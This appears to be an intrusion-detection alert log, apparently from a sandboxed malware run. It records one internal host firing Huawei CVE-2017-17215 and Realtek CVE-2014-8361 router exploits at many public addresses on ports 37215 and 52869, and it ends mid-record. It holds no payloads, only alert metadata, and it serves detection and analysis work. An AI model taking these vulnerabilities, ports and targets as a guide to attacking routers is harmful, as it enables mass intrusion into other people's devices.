ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.218.249.85

Timestamp:	07/20/24-23:01:02.070492
SID:	2835222
Source Port:	49084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.252.196.177

Timestamp:	07/20/24-23:01:44.971718
SID:	2027339
Source Port:	54478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.223.71.222

Timestamp:	07/20/24-23:01:48.221889
SID:	2027339
Source Port:	59484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.114.224.236

Timestamp:	07/20/24-23:01:42.514942
SID:	2025132
Source Port:	32936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 182.86.228.100

Timestamp:	07/20/24-23:01:41.956473
SID:	2831300
Source Port:	42896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.46.94.209

Timestamp:	07/20/24-23:01:53.372532
SID:	2027339
Source Port:	33828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 168.75.18.77

Timestamp:	07/20/24-23:01:44.398920
SID:	2831300
Source Port:	34292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.250.222.179

Timestamp:	07/20/24-23:01:20.152427
SID:	2829579
Source Port:	44034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.184.6.19

Timestamp:	07/20/24-23:01:43.642551
SID:	2831300
Source Port:	44568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.140.216.184

Timestamp:	07/20/24-23:01:44.440143
SID:	2025132
Source Port:	54228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.47.55.117

Timestamp:	07/20/24-23:01:11.818830
SID:	2829579
Source Port:	36164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.66.88.32

Timestamp:	07/20/24-23:01:41.330687
SID:	2027339
Source Port:	52750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.15.191.58

Timestamp:	07/20/24-23:01:44.446628
SID:	2027339
Source Port:	59160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.69.178.214

Timestamp:	07/20/24-23:01:54.979156
SID:	2027339
Source Port:	37118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.154.64.238

Timestamp:	07/20/24-23:01:57.330552
SID:	2027339
Source Port:	41256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.49.109.135

Timestamp:	07/20/24-23:01:14.100332
SID:	2835222
Source Port:	60878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.219.204

Timestamp:	07/20/24-23:01:40.290003
SID:	2835222
Source Port:	56812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 170.225.184.185

Timestamp:	07/20/24-23:01:04.642910
SID:	2025132
Source Port:	56940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 122.90.179.148

Timestamp:	07/20/24-23:01:45.513282
SID:	2025132
Source Port:	45548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.69.243.217

Timestamp:	07/20/24-23:01:43.994464
SID:	2025132
Source Port:	34850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.68.197.111

Timestamp:	07/20/24-23:01:41.431519
SID:	2027339
Source Port:	60390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.58.223.243

Timestamp:	07/20/24-23:01:44.729296
SID:	2831300
Source Port:	51236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.167.167.154

Timestamp:	07/20/24-23:01:02.054387
SID:	2829579
Source Port:	60490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.12.203.144

Timestamp:	07/20/24-23:01:02.070492
SID:	2829579
Source Port:	47304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.125.163.90

Timestamp:	07/20/24-23:01:42.213822
SID:	2027339
Source Port:	39442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.204.29.126

Timestamp:	07/20/24-23:01:42.670071
SID:	2027339
Source Port:	35132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.184.58.202

Timestamp:	07/20/24-23:02:02.954311
SID:	2831300
Source Port:	55666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.191.214.143

Timestamp:	07/20/24-23:01:14.103467
SID:	2829579
Source Port:	42824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 121.198.173.54

Timestamp:	07/20/24-23:01:53.429797
SID:	2025132
Source Port:	47720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.77.106.70

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	45144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.158.170.123

Timestamp:	07/20/24-23:01:48.221889
SID:	2027339
Source Port:	41782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.47.147.236

Timestamp:	07/20/24-23:01:02.309528
SID:	2027339
Source Port:	60726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 130.210.124.219

Timestamp:	07/20/24-23:01:11.817771
SID:	2829579
Source Port:	58516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.39.175.234

Timestamp:	07/20/24-23:01:40.331150
SID:	2829579
Source Port:	58004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 124.13.0.132

Timestamp:	07/20/24-23:01:49.231608
SID:	2831300
Source Port:	42252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.221.100.187

Timestamp:	07/20/24-23:01:01.628180
SID:	2025132
Source Port:	53798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.243.119.9

Timestamp:	07/20/24-23:01:02.127340
SID:	2835222
Source Port:	46616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.128.52.113

Timestamp:	07/20/24-23:01:31.313163
SID:	2831300
Source Port:	39906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.42.243

Timestamp:	07/20/24-23:01:34.077334
SID:	2829579
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.3.243.177

Timestamp:	07/20/24-23:01:42.434719
SID:	2025132
Source Port:	45008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.39.79.111

Timestamp:	07/20/24-23:01:27.649731
SID:	2835222
Source Port:	49508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.204.247.250

Timestamp:	07/20/24-23:01:40.334933
SID:	2829579
Source Port:	33388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.242.116.26

Timestamp:	07/20/24-23:01:47.995636
SID:	2027339
Source Port:	52914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:49.055673
SID:	2027339
Source Port:	34800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.250.13.148

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	52330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.205.210.219

Timestamp:	07/20/24-23:01:51.161030
SID:	2025132
Source Port:	45950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.181.48.189

Timestamp:	07/20/24-23:01:46.439689
SID:	2027339
Source Port:	55516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.234.7

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	36886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.111.137.113

Timestamp:	07/20/24-23:01:43.239928
SID:	2027339
Source Port:	36796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.132.84.64

Timestamp:	07/20/24-23:01:48.918065
SID:	2831300
Source Port:	37970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.1.160.57

Timestamp:	07/20/24-23:01:08.621030
SID:	2831300
Source Port:	43122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.20.213.42

Timestamp:	07/20/24-23:01:58.055687
SID:	2027339
Source Port:	33566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.151.71.150

Timestamp:	07/20/24-23:01:21.923917
SID:	2835222
Source Port:	54698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.5.70.201

Timestamp:	07/20/24-23:01:41.279072
SID:	2027339
Source Port:	50020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.37.23.19

Timestamp:	07/20/24-23:01:57.243014
SID:	2027339
Source Port:	60560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.255.54.255

Timestamp:	07/20/24-23:02:26.420170
SID:	2025132
Source Port:	36260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.95.218.159

Timestamp:	07/20/24-23:01:45.933452
SID:	2831300
Source Port:	51032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.15.73.106

Timestamp:	07/20/24-23:01:48.016319
SID:	2027339
Source Port:	42084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.30.15.103

Timestamp:	07/20/24-23:00:57.221220
SID:	2829579
Source Port:	47068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.150.191.157

Timestamp:	07/20/24-23:01:20.152427
SID:	2835222
Source Port:	41810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.67.226.84

Timestamp:	07/20/24-23:01:27.729822
SID:	2835222
Source Port:	37160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.25.113.161

Timestamp:	07/20/24-23:01:14.111381
SID:	2829579
Source Port:	33172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.9.123.124

Timestamp:	07/20/24-23:01:42.664220
SID:	2831300
Source Port:	59234
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 80.165.144.55

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	47550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.77.1.115

Timestamp:	07/20/24-23:01:42.056014
SID:	2027339
Source Port:	56622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.165.159.227

Timestamp:	07/20/24-23:00:59.185033
SID:	2835222
Source Port:	42824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.189.119

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	49886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.163.17.129

Timestamp:	07/20/24-23:01:31.329969
SID:	2831300
Source Port:	52150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.80.198.171

Timestamp:	07/20/24-23:01:58.202290
SID:	2027339
Source Port:	44848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.208.250.204

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	52836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.76.42.20

Timestamp:	07/20/24-23:01:48.007334
SID:	2831300
Source Port:	39442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.177.151.139

Timestamp:	07/20/24-23:01:40.334934
SID:	2835222
Source Port:	41534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.43.60.192

Timestamp:	07/20/24-23:01:41.909668
SID:	2831300
Source Port:	37138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.179.89.83

Timestamp:	07/20/24-23:01:46.112515
SID:	2027339
Source Port:	37944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.205.235.41

Timestamp:	07/20/24-23:01:43.515688
SID:	2027339
Source Port:	53120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.71.120.47

Timestamp:	07/20/24-23:01:44.469869
SID:	2831300
Source Port:	35636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.197.69.23

Timestamp:	07/20/24-23:01:04.082385
SID:	2835222
Source Port:	37702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.146.83

Timestamp:	07/20/24-23:01:00.645051
SID:	2835222
Source Port:	60910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.132.84.64

Timestamp:	07/20/24-23:01:47.674845
SID:	2027339
Source Port:	37122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 131.252.149.74

Timestamp:	07/20/24-23:01:32.060731
SID:	2835222
Source Port:	59522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 52.24.218.23

Timestamp:	07/20/24-23:01:55.964600
SID:	2831300
Source Port:	34626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.88.24.192

Timestamp:	07/20/24-23:01:40.349275
SID:	2829579
Source Port:	44140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.77.18.239

Timestamp:	07/20/24-23:01:03.936204
SID:	2025132
Source Port:	50724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.69.102.152

Timestamp:	07/20/24-23:01:41.987411
SID:	2831300
Source Port:	33048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.223.125.30

Timestamp:	07/20/24-23:01:04.039128
SID:	2829579
Source Port:	33546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.115.21.200

Timestamp:	07/20/24-23:02:48.447183
SID:	2027339
Source Port:	49718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.172.247.72

Timestamp:	07/20/24-23:01:03.882590
SID:	2025132
Source Port:	50582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.229.109.170

Timestamp:	07/20/24-23:01:42.262354
SID:	2027339
Source Port:	55938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.52.107.77

Timestamp:	07/20/24-23:01:11.168553
SID:	2027339
Source Port:	49246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.249.102.196

Timestamp:	07/20/24-23:01:42.692028
SID:	2831300
Source Port:	45838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.230.177.62

Timestamp:	07/20/24-23:01:45.109957
SID:	2025132
Source Port:	46940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.184.251

Timestamp:	07/20/24-23:01:27.664887
SID:	2829579
Source Port:	38260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.40.91.1

Timestamp:	07/20/24-23:00:59.172943
SID:	2829579
Source Port:	39662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.218.177

Timestamp:	07/20/24-23:01:34.053061
SID:	2829579
Source Port:	43202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.193.210.39

Timestamp:	07/20/24-23:01:42.790680
SID:	2027339
Source Port:	53028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.188.71.219

Timestamp:	07/20/24-23:01:21.931985
SID:	2835222
Source Port:	35820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.220.117.2

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	33384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.182.169.174

Timestamp:	07/20/24-23:01:44.036421
SID:	2025132
Source Port:	43156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.154.226.190

Timestamp:	07/20/24-23:01:45.094539
SID:	2831300
Source Port:	38588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.185.15.217

Timestamp:	07/20/24-23:01:43.180913
SID:	2025132
Source Port:	33620
Destination Port:	52869
Protocol:	TCP
